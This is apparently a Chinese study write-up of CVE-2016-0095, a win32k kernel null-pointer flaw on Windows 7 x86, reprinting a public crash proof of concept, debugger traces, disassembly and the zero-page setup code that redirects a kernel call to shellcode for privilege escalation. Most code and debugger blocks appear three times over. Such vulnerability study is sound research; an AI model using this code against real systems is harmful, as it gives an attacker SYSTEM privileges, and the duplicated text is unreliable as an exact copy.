一.前言
1.漏洞信息
该漏洞是在win32k中的bGetRealizedBrush产生的,是一个内核空指针解引用的漏洞,利用该漏洞可以完成提权操作。由于有公开的POC,所以对这个漏洞的分析和利用就变得简单,POC代码如下:
/*** Author: bee13oy of CloverSec Labs* BSoD on Windows 7 SP1 x86 / Windows 10 x86* EoP to SYSTEM on Windows 7 SP1 x86**/#include <Windows.h>#pragma comment(lib, \"gdi32.lib\")#pragma comment(lib, \"user32.lib\")#ifndef W32KAPI#define W32KAPI DECLSPEC_ADDRSAFE#endifunsigned int demo_CreateBitmapIndirect(void) {static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };bitmap.bmBits = bits;SetLastError(NO_ERROR);HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);return (unsigned int)hBitmap;}#define eSyscall_NtGdiSetBitmapAttributes 0x1110W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1){HMODULE _H_NTDLL = NULL;PVOID addr_kifastsystemcall = NULL;_H_NTDLL = LoadLibrary(TEXT(\"ntdll.dll\"));addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, \"KiFastSystemCall\");__asm{push argv1;push argv0;push 0x00;mov eax, eSyscall_NtGdiSetBitmapAttributes;mov edx, addr_kifastsystemcall;call edx;add esp, 0x0c;}}void Trigger_BSoDPoc() {HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);RECT rect = { 0 };rect.left = 0x368c;rect.top = 0x400000;HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);}int main(){Trigger_BSoDPoc();return 0;}/** * Author: bee13oy of CloverSec Labs * BSoD on Windows 7 SP1 x86 / Windows 10 x86 * EoP to SYSTEM on Windows 7 SP1 x86 **/ #include <Windows.h> #pragma comment(lib, \"gdi32.lib\") #pragma comment(lib, \"user32.lib\") #ifndef W32KAPI #define W32KAPI DECLSPEC_ADDRSAFE #endif unsigned int demo_CreateBitmapIndirect(void) { static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 }; static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0, 0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 }; bitmap.bmBits = bits; SetLastError(NO_ERROR); HBITMAP hBitmap = CreateBitmapIndirect(&bitmap); return (unsigned int)hBitmap; } #define eSyscall_NtGdiSetBitmapAttributes 0x1110 W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1) { HMODULE _H_NTDLL = NULL; PVOID addr_kifastsystemcall = NULL; _H_NTDLL = LoadLibrary(TEXT(\"ntdll.dll\")); addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, \"KiFastSystemCall\"); __asm { push argv1; push argv0; push 0x00; mov eax, eSyscall_NtGdiSetBitmapAttributes; mov edx, addr_kifastsystemcall; call edx; add esp, 0x0c; } } void Trigger_BSoDPoc() { HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect(); HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9); RECT rect = { 0 }; rect.left = 0x368c; rect.top = 0x400000; HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect); HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0); SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2); HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13); FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush); } int main() { Trigger_BSoDPoc(); return 0; }/** * Author: bee13oy of CloverSec Labs * BSoD on Windows 7 SP1 x86 / Windows 10 x86 * EoP to SYSTEM on Windows 7 SP1 x86 **/ #include <Windows.h> #pragma comment(lib, \"gdi32.lib\") #pragma comment(lib, \"user32.lib\") #ifndef W32KAPI #define W32KAPI DECLSPEC_ADDRSAFE #endif unsigned int demo_CreateBitmapIndirect(void) { static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 }; static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0, 0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 }; bitmap.bmBits = bits; SetLastError(NO_ERROR); HBITMAP hBitmap = CreateBitmapIndirect(&bitmap); return (unsigned int)hBitmap; } #define eSyscall_NtGdiSetBitmapAttributes 0x1110 W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1) { HMODULE _H_NTDLL = NULL; PVOID addr_kifastsystemcall = NULL; _H_NTDLL = LoadLibrary(TEXT(\"ntdll.dll\")); addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, \"KiFastSystemCall\"); __asm { push argv1; push argv0; push 0x00; mov eax, eSyscall_NtGdiSetBitmapAttributes; mov edx, addr_kifastsystemcall; call edx; add esp, 0x0c; } } void Trigger_BSoDPoc() { HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect(); HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9); RECT rect = { 0 }; rect.left = 0x368c; rect.top = 0x400000; HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect); HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0); SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2); HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13); FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush); } int main() { Trigger_BSoDPoc(); return 0; }
2.实验环境
- 操作系统:Win7 x86 sp1
- 编译器:Visual Studio 2017
- 调试器:IDA,WinDbg
二.漏洞分析
编译运行POC,根据信息可以得知,崩溃发生在win32k!bGetRealizedBrush偏移0x38的地址。崩溃的原因是此时的eax为0,函数要对[eax + 0x24]这个地址中的数据进行验证的时候,会因为[0x24]不是个合法地址而产生崩溃。
kd> gKDTARGET: Refreshing KD connectionAccess violation - code c0000005 (!!! second chance !!!)win32k!bGetRealizedBrush+0x38:96980560 f6402401 test byte ptr [eax+24h],11: kd> r eaxeax=000000001: kd> kChildEBP RetAddr9c3339a0 969834af win32k!bGetRealizedBrush+0x389c3339b8 969f9b5e win32k!pvGetEngRbrush+0x1f9c333a1c 96a7b6e8 win32k!EngBitBlt+0x3379c333a54 96a7bb9d win32k!EngPaint+0x519c333c20 83e781ea win32k!NtGdiFillRgn+0x3399c333c20 77c270b4 nt!KiFastCallEntry+0x12a0012feac 77dd066b ntdll!KiFastSystemCallRet0012feb0 77dd064f gdi32!NtGdiFillRgn+0xc0012fed0 0042ba63 gdi32!FillRgn+0xb2WARNING: Frame IP not in any known module. Following frames may be wrong.0012ff30 77c26164 0x42ba630012ff34 77c66ed5 ntdll!NtQueryPerformanceCounter+0xc0012ff88 76563c45 ntdll!RtlQueryPerformanceCounter+0x610012ff94 77c437f5 kernel32!BaseThreadInitThunk+0xe0012ffd4 77c437c8 ntdll!__RtlUserThreadStart+0x700012ffec 00000000 ntdll!_RtlUserThreadStart+0x1bkd> g KDTARGET: Refreshing KD connection Access violation - code c0000005 (!!! second chance !!!) win32k!bGetRealizedBrush+0x38: 96980560 f6402401 test byte ptr [eax+24h],1 1: kd> r eax eax=00000000 1: kd> k ChildEBP RetAddr 9c3339a0 969834af win32k!bGetRealizedBrush+0x38 9c3339b8 969f9b5e win32k!pvGetEngRbrush+0x1f 9c333a1c 96a7b6e8 win32k!EngBitBlt+0x337 9c333a54 96a7bb9d win32k!EngPaint+0x51 9c333c20 83e781ea win32k!NtGdiFillRgn+0x339 9c333c20 77c270b4 nt!KiFastCallEntry+0x12a 0012feac 77dd066b ntdll!KiFastSystemCallRet 0012feb0 77dd064f gdi32!NtGdiFillRgn+0xc 0012fed0 0042ba63 gdi32!FillRgn+0xb2 WARNING: Frame IP not in any known module. Following frames may be wrong. 0012ff30 77c26164 0x42ba63 0012ff34 77c66ed5 ntdll!NtQueryPerformanceCounter+0xc 0012ff88 76563c45 ntdll!RtlQueryPerformanceCounter+0x61 0012ff94 77c437f5 kernel32!BaseThreadInitThunk+0xe 0012ffd4 77c437c8 ntdll!__RtlUserThreadStart+0x70 0012ffec 00000000 ntdll!_RtlUserThreadStart+0x1bkd> g KDTARGET: Refreshing KD connection Access violation - code c0000005 (!!! second chance !!!) win32k!bGetRealizedBrush+0x38: 96980560 f6402401 test byte ptr [eax+24h],1 1: kd> r eax eax=00000000 1: kd> k ChildEBP RetAddr 9c3339a0 969834af win32k!bGetRealizedBrush+0x38 9c3339b8 969f9b5e win32k!pvGetEngRbrush+0x1f 9c333a1c 96a7b6e8 win32k!EngBitBlt+0x337 9c333a54 96a7bb9d win32k!EngPaint+0x51 9c333c20 83e781ea win32k!NtGdiFillRgn+0x339 9c333c20 77c270b4 nt!KiFastCallEntry+0x12a 0012feac 77dd066b ntdll!KiFastSystemCallRet 0012feb0 77dd064f gdi32!NtGdiFillRgn+0xc 0012fed0 0042ba63 gdi32!FillRgn+0xb2 WARNING: Frame IP not in any known module. Following frames may be wrong. 0012ff30 77c26164 0x42ba63 0012ff34 77c66ed5 ntdll!NtQueryPerformanceCounter+0xc 0012ff88 76563c45 ntdll!RtlQueryPerformanceCounter+0x61 0012ff94 77c437f5 kernel32!BaseThreadInitThunk+0xe 0012ffd4 77c437c8 ntdll!__RtlUserThreadStart+0x70 0012ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
根据偏移,可以在IDA中找到相应的代码,根据IDA的解析,可以知道,此时是因为EBRUSHOBJ偏移0x34中的数据为0导致了崩溃
.text:BF840543 loc_BF840543: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12↑j.text:BF840543 push ebx.text:BF840544 mov ebx, [ebp+arg_4] ; 将第二个参数赋给ebx,此时ebx指向EBRUSHOBJ结构体.text:BF840547 push esi.text:BF840548 xor esi, esi.text:BF84054A mov [ebp+var_24], eax.text:BF84054D mov eax, [ebx+34h] ; 将ebx偏移0x34中保存的数据赋给eax.text:BF840550 mov [ebp+arg_0], esi.text:BF840553 mov [ebp+var_2C], esi.text:BF840556 mov [ebp+var_28], 0.text:BF84055A mov eax, [eax+1Ch].text:BF84055D mov [ebp+arg_4], eax.text:BF840560 test byte ptr [eax+24h], 1 ; 崩溃产生的地点.text:BF840564 mov [ebp+var_1C], esi.text:BF840567 mov [ebp+var_10], esi.text:BF84056A jz short loc_BF84057A.text:BF840543 loc_BF840543: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12↑j .text:BF840543 push ebx .text:BF840544 mov ebx, [ebp+arg_4] ; 将第二个参数赋给ebx,此时ebx指向EBRUSHOBJ结构体 .text:BF840547 push esi .text:BF840548 xor esi, esi .text:BF84054A mov [ebp+var_24], eax .text:BF84054D mov eax, [ebx+34h] ; 将ebx偏移0x34中保存的数据赋给eax .text:BF840550 mov [ebp+arg_0], esi .text:BF840553 mov [ebp+var_2C], esi .text:BF840556 mov [ebp+var_28], 0 .text:BF84055A mov eax, [eax+1Ch] .text:BF84055D mov [ebp+arg_4], eax .text:BF840560 test byte ptr [eax+24h], 1 ; 崩溃产生的地点 .text:BF840564 mov [ebp+var_1C], esi .text:BF840567 mov [ebp+var_10], esi .text:BF84056A jz short loc_BF84057A.text:BF840543 loc_BF840543: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12↑j .text:BF840543 push ebx .text:BF840544 mov ebx, [ebp+arg_4] ; 将第二个参数赋给ebx,此时ebx指向EBRUSHOBJ结构体 .text:BF840547 push esi .text:BF840548 xor esi, esi .text:BF84054A mov [ebp+var_24], eax .text:BF84054D mov eax, [ebx+34h] ; 将ebx偏移0x34中保存的数据赋给eax .text:BF840550 mov [ebp+arg_0], esi .text:BF840553 mov [ebp+var_2C], esi .text:BF840556 mov [ebp+var_28], 0 .text:BF84055A mov eax, [eax+1Ch] .text:BF84055D mov [ebp+arg_4], eax .text:BF840560 test byte ptr [eax+24h], 1 ; 崩溃产生的地点 .text:BF840564 mov [ebp+var_1C], esi .text:BF840567 mov [ebp+var_10], esi .text:BF84056A jz short loc_BF84057A
三.漏洞利用
产生崩溃的原因是因为此时0地址并不是合法的地址,因此,只需要在0地址中申请一块内存,让0地址合法就可以防止崩溃,让程序继续运行。同时,该函数中存在函数调用,通过更改相关数据可以执行ShellCode。
在bGetRealizedBrush函数中,一共有三个地方执行了函数调用。其中的两个位置内容如下,都是通过第三个参数进行函数调用。由于无法控制第三个参数,所以这两个位置并不可以被利用。
.text:BF840763 loc_BF840763:.text:BF840763 or eax, 80000000h.text:BF840768 push eax.text:BF840769 push esi.text:BF84076A push esi.text:BF84076B push esi.text:BF84076C push ecx.text:BF84076D push ebx.text:BF84076E call [ebp+arg_8].text:BF840771 test eax, eax.text:BF840773 jz short loc_BF84077D。。。.text:BF840C27 loc_BF840C27:.text:BF840C27 push [ebp+var_24].text:BF840C2A push esi.text:BF840C2B push [ebp+var_1C].text:BF840C2E push ecx.text:BF840C2F push eax.text:BF840C30 push ebx.text:BF840C31 call [ebp+arg_8].text:BF840763 loc_BF840763: .text:BF840763 or eax, 80000000h .text:BF840768 push eax .text:BF840769 push esi .text:BF84076A push esi .text:BF84076B push esi .text:BF84076C push ecx .text:BF84076D push ebx .text:BF84076E call [ebp+arg_8] .text:BF840771 test eax, eax .text:BF840773 jz short loc_BF84077D 。。。 .text:BF840C27 loc_BF840C27: .text:BF840C27 push [ebp+var_24] .text:BF840C2A push esi .text:BF840C2B push [ebp+var_1C] .text:BF840C2E push ecx .text:BF840C2F push eax .text:BF840C30 push ebx .text:BF840C31 call [ebp+arg_8].text:BF840763 loc_BF840763: .text:BF840763 or eax, 80000000h .text:BF840768 push eax .text:BF840769 push esi .text:BF84076A push esi .text:BF84076B push esi .text:BF84076C push ecx .text:BF84076D push ebx .text:BF84076E call [ebp+arg_8] .text:BF840771 test eax, eax .text:BF840773 jz short loc_BF84077D 。。。 .text:BF840C27 loc_BF840C27: .text:BF840C27 push [ebp+var_24] .text:BF840C2A push esi .text:BF840C2B push [ebp+var_1C] .text:BF840C2E push ecx .text:BF840C2F push eax .text:BF840C30 push ebx .text:BF840C31 call [ebp+arg_8]
另一个位置是可以利用的,因为ebx在上面赋值为第二个参数,也就是EBRUSHOBJ结构体以后就没有发生改把。所以,此时的eax就是EBRUSHOBJ偏移0x34的数据,也就是0。所以,只要将0x748地址中的内容赋值为ShellCode的地址,就会在下面因为执行call edi而成功执行ShellCode完成提权。
.text:BF8407E4 mov eax, [ebx+34h] ; eax=EBRUSHOBJ偏移0x34的数据.text:BF8407E7 xor ecx, ecx.text:BF8407E9 cmp dword ptr [eax+3Ch], 1.text:BF8407ED mov eax, [ebp+arg_4].text:BF8407F0 mov edi, [eax+748h] ; edi = [eax+0x748] = [0x748].text:BF8407F6 setz cl.text:BF8407F9 inc ecx.text:BF8407FA mov [ebp+var_14], ecx.text:BF8407FD cmp edi, esi.text:BF8407FF jz short loc_BF840823.text:BF840801 test dword ptr [eax+24h], 8000h.text:BF840808 jnz short loc_BF840810.text:BF84080A mov eax, [eax+464h].text:BF840810.text:BF840810 loc_BF840810: ;.text:BF840810 mov ecx, [ebp+var_2C].text:BF840813 mov ecx, [ecx+2Ch].text:BF840816 mov edx, [ebx+0Ch].text:BF840819 push ecx.text:BF84081A push edx.text:BF84081B push [ebp+var_14].text:BF84081E push eax.text:BF84081F call edi ; 调用函数.text:BF840821 jmp short loc_BF840837.text:BF8407E4 mov eax, [ebx+34h] ; eax=EBRUSHOBJ偏移0x34的数据 .text:BF8407E7 xor ecx, ecx .text:BF8407E9 cmp dword ptr [eax+3Ch], 1 .text:BF8407ED mov eax, [ebp+arg_4] .text:BF8407F0 mov edi, [eax+748h] ; edi = [eax+0x748] = [0x748] .text:BF8407F6 setz cl .text:BF8407F9 inc ecx .text:BF8407FA mov [ebp+var_14], ecx .text:BF8407FD cmp edi, esi .text:BF8407FF jz short loc_BF840823 .text:BF840801 test dword ptr [eax+24h], 8000h .text:BF840808 jnz short loc_BF840810 .text:BF84080A mov eax, [eax+464h] .text:BF840810 .text:BF840810 loc_BF840810: ; .text:BF840810 mov ecx, [ebp+var_2C] .text:BF840813 mov ecx, [ecx+2Ch] .text:BF840816 mov edx, [ebx+0Ch] .text:BF840819 push ecx .text:BF84081A push edx .text:BF84081B push [ebp+var_14] .text:BF84081E push eax .text:BF84081F call edi ; 调用函数 .text:BF840821 jmp short loc_BF840837.text:BF8407E4 mov eax, [ebx+34h] ; eax=EBRUSHOBJ偏移0x34的数据 .text:BF8407E7 xor ecx, ecx .text:BF8407E9 cmp dword ptr [eax+3Ch], 1 .text:BF8407ED mov eax, [ebp+arg_4] .text:BF8407F0 mov edi, [eax+748h] ; edi = [eax+0x748] = [0x748] .text:BF8407F6 setz cl .text:BF8407F9 inc ecx .text:BF8407FA mov [ebp+var_14], ecx .text:BF8407FD cmp edi, esi .text:BF8407FF jz short loc_BF840823 .text:BF840801 test dword ptr [eax+24h], 8000h .text:BF840808 jnz short loc_BF840810 .text:BF84080A mov eax, [eax+464h] .text:BF840810 .text:BF840810 loc_BF840810: ; .text:BF840810 mov ecx, [ebp+var_2C] .text:BF840813 mov ecx, [ecx+2Ch] .text:BF840816 mov edx, [ebx+0Ch] .text:BF840819 push ecx .text:BF84081A push edx .text:BF84081B push [ebp+var_14] .text:BF84081E push eax .text:BF84081F call edi ; 调用函数 .text:BF840821 jmp short loc_BF840837
要达到此处的函数调用,需要绕过如下的两处验证。此时的eax和esi都是0,所以这两处就是在验证[0x590]和[0x592]是否为0。
.text:BF840799 loc_BF840799:.text:BF840799 movzx edx, word ptr [eax+590h].text:BF8407A0 cmp dx, si.text:BF8407A3 jz loc_BF8406F7 ; [0x590]是否为0.text:BF8407A9 add eax, 592h.text:BF8407AE cmp [eax], si.text:BF8407B1 jz loc_BF8406F7 ; [0x592]是否为0.text:BF840799 loc_BF840799: .text:BF840799 movzx edx, word ptr [eax+590h] .text:BF8407A0 cmp dx, si .text:BF8407A3 jz loc_BF8406F7 ; [0x590]是否为0 .text:BF8407A9 add eax, 592h .text:BF8407AE cmp [eax], si .text:BF8407B1 jz loc_BF8406F7 ; [0x592]是否为0.text:BF840799 loc_BF840799: .text:BF840799 movzx edx, word ptr [eax+590h] .text:BF8407A0 cmp dx, si .text:BF8407A3 jz loc_BF8406F7 ; [0x590]是否为0 .text:BF8407A9 add eax, 592h .text:BF8407AE cmp [eax], si .text:BF8407B1 jz loc_BF8406F7 ; [0x592]是否为0
如果跳转到loc_BF8406F是无法达到函数调用的地方完成提权,所以这两个地方都不能是0。因此,在0地址申请内存以后,除了在0x748赋值ShellCode地址以外,还需要将0x590和0x592赋值为非0值。
BOOL Init_2016_0095(){BOOL bRet = TRUE;if (!AllocateZeroMemory()){bRet = FALSE;goto exit;}*(PWORD)0x590 = 0x1;*(PWORD)0x592 = 0x1;*(PDWORD)0x748 = (DWORD)&ShellCode_2016_0059;exit:return bRet;}BOOL Init_2016_0095() { BOOL bRet = TRUE; if (!AllocateZeroMemory()) { bRet = FALSE; goto exit; } *(PWORD)0x590 = 0x1; *(PWORD)0x592 = 0x1; *(PDWORD)0x748 = (DWORD)&ShellCode_2016_0059; exit: return bRet; }BOOL Init_2016_0095() { BOOL bRet = TRUE; if (!AllocateZeroMemory()) { bRet = FALSE; goto exit; } *(PWORD)0x590 = 0x1; *(PWORD)0x592 = 0x1; *(PDWORD)0x748 = (DWORD)&ShellCode_2016_0059; exit: return bRet; }
在崩溃点下断点以后,运行exp。此时,因为0地址有效,所以此时不会发生崩溃,程序可以继续向下运行。
3: kd> ba e1 win32k!bGetRealizedBrush+0x383: kd> gBreakpoint 0 hitwin32k!bGetRealizedBrush+0x38:96de0560 f6402401 test byte ptr [eax+24h],10: kd> pwin32k!bGetRealizedBrush+0x3c:96de0564 8975e4 mov dword ptr [ebp-1Ch],esi0: kd> r eaxeax=000000003: kd> ba e1 win32k!bGetRealizedBrush+0x38 3: kd> g Breakpoint 0 hit win32k!bGetRealizedBrush+0x38: 96de0560 f6402401 test byte ptr [eax+24h],1 0: kd> p win32k!bGetRealizedBrush+0x3c: 96de0564 8975e4 mov dword ptr [ebp-1Ch],esi 0: kd> r eax eax=000000003: kd> ba e1 win32k!bGetRealizedBrush+0x38 3: kd> g Breakpoint 0 hit win32k!bGetRealizedBrush+0x38: 96de0560 f6402401 test byte ptr [eax+24h],1 0: kd> p win32k!bGetRealizedBrush+0x3c: 96de0564 8975e4 mov dword ptr [ebp-1Ch],esi 0: kd> r eax eax=00000000
继续向下运行到第一处验证,此时si为0,而由于0x590被写入了1,所以dx不为0,不会发生跳转。
1: kd> pwin32k!bGetRealizedBrush+0x271:96de0799 0fb79090050000 movzx edx,word ptr [eax+590h]1: kd> pwin32k!bGetRealizedBrush+0x278:96de07a0 663bd6 cmp dx,si1: kd> pwin32k!bGetRealizedBrush+0x27b:96de07a3 0f844effffff je win32k!bGetRealizedBrush+0x1cf (96de06f7)1: kd> r dxdx=11: kd> r sisi=01: kd> r eaxeax=000000001: kd> p win32k!bGetRealizedBrush+0x271: 96de0799 0fb79090050000 movzx edx,word ptr [eax+590h] 1: kd> p win32k!bGetRealizedBrush+0x278: 96de07a0 663bd6 cmp dx,si 1: kd> p win32k!bGetRealizedBrush+0x27b: 96de07a3 0f844effffff je win32k!bGetRealizedBrush+0x1cf (96de06f7) 1: kd> r dx dx=1 1: kd> r si si=0 1: kd> r eax eax=000000001: kd> p win32k!bGetRealizedBrush+0x271: 96de0799 0fb79090050000 movzx edx,word ptr [eax+590h] 1: kd> p win32k!bGetRealizedBrush+0x278: 96de07a0 663bd6 cmp dx,si 1: kd> p win32k!bGetRealizedBrush+0x27b: 96de07a3 0f844effffff je win32k!bGetRealizedBrush+0x1cf (96de06f7) 1: kd> r dx dx=1 1: kd> r si si=0 1: kd> r eax eax=00000000
继续运行到第二处验证,此时同理,不会发生跳转。
1: kd> pwin32k!bGetRealizedBrush+0x281:96de07a9 0592050000 add eax,592h1: kd> pwin32k!bGetRealizedBrush+0x286:96de07ae 663930 cmp word ptr [eax],si1: kd> pwin32k!bGetRealizedBrush+0x289:96de07b1 0f8440ffffff je win32k!bGetRealizedBrush+0x1cf (96de06f7)1: kd> r sisi=01: kd> r eaxeax=000005921: kd> db 0000059200000592 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................000005a2 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................1: kd> p win32k!bGetRealizedBrush+0x281: 96de07a9 0592050000 add eax,592h 1: kd> p win32k!bGetRealizedBrush+0x286: 96de07ae 663930 cmp word ptr [eax],si 1: kd> p win32k!bGetRealizedBrush+0x289: 96de07b1 0f8440ffffff je win32k!bGetRealizedBrush+0x1cf (96de06f7) 1: kd> r si si=0 1: kd> r eax eax=00000592 1: kd> db 00000592 00000592 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000005a2 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................1: kd> p win32k!bGetRealizedBrush+0x281: 96de07a9 0592050000 add eax,592h 1: kd> p win32k!bGetRealizedBrush+0x286: 96de07ae 663930 cmp word ptr [eax],si 1: kd> p win32k!bGetRealizedBrush+0x289: 96de07b1 0f8440ffffff je win32k!bGetRealizedBrush+0x1cf (96de06f7) 1: kd> r si si=0 1: kd> r eax eax=00000592 1: kd> db 00000592 00000592 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000005a2 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
继续运行,到将0x748地址中的内容赋值给edi,此时的edi就会是ShellCode的地址。
1: kd> pwin32k!bGetRealizedBrush+0x2c8:96de07f0 8bb848070000 mov edi,dword ptr [eax+748h]1: kd> pwin32k!bGetRealizedBrush+0x2ce:96de07f6 0f94c1 sete cl1: kd> r ediedi=004010501: kd> p win32k!bGetRealizedBrush+0x2c8: 96de07f0 8bb848070000 mov edi,dword ptr [eax+748h] 1: kd> p win32k!bGetRealizedBrush+0x2ce: 96de07f6 0f94c1 sete cl 1: kd> r edi edi=004010501: kd> p win32k!bGetRealizedBrush+0x2c8: 96de07f0 8bb848070000 mov edi,dword ptr [eax+748h] 1: kd> p win32k!bGetRealizedBrush+0x2ce: 96de07f6 0f94c1 sete cl 1: kd> r edi edi=00401050
当运行到函数调用处,edi保存的依然是ShellCode的地址
1: kd> pwin32k!bGetRealizedBrush+0x2f1:96de0819 51 push ecx1: kd> pwin32k!bGetRealizedBrush+0x2f2:96de081a 52 push edx1: kd> pwin32k!bGetRealizedBrush+0x2f3:96de081b ff75ec push dword ptr [ebp-14h]1: kd> pwin32k!bGetRealizedBrush+0x2f6:96de081e 50 push eax1: kd> pwin32k!bGetRealizedBrush+0x2f7:96de081f ffd7 call edi1: kd> r ediedi=004010501: kd> p win32k!bGetRealizedBrush+0x2f1: 96de0819 51 push ecx 1: kd> p win32k!bGetRealizedBrush+0x2f2: 96de081a 52 push edx 1: kd> p win32k!bGetRealizedBrush+0x2f3: 96de081b ff75ec push dword ptr [ebp-14h] 1: kd> p win32k!bGetRealizedBrush+0x2f6: 96de081e 50 push eax 1: kd> p win32k!bGetRealizedBrush+0x2f7: 96de081f ffd7 call edi 1: kd> r edi edi=004010501: kd> p win32k!bGetRealizedBrush+0x2f1: 96de0819 51 push ecx 1: kd> p win32k!bGetRealizedBrush+0x2f2: 96de081a 52 push edx 1: kd> p win32k!bGetRealizedBrush+0x2f3: 96de081b ff75ec push dword ptr [ebp-14h] 1: kd> p win32k!bGetRealizedBrush+0x2f6: 96de081e 50 push eax 1: kd> p win32k!bGetRealizedBrush+0x2f7: 96de081f ffd7 call edi 1: kd> r edi edi=00401050
继续执行,就会执行ShellCode的代码完成提权
![图片[1]-[原创]CVE-2016-0095提权漏洞学习笔记-二进制漏洞-安全小天地](https://img.godyu.com/2023/12/20231226130544586.png?imageView2/0/format/webp/q/75)
最终,程序会成功提权,如下图所示:
![图片[2]-[原创]CVE-2016-0095提权漏洞学习笔记-二进制漏洞-安全小天地](https://img.godyu.com/2023/12/20231226210545280.png?imageView2/0/format/webp/q/75)
四.参考资料
- https://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html
- https://xz.aliyun.com/t/6008?page=1
- https://blog.csdn.net/qq_41252520/article/details/119756497
暂无评论内容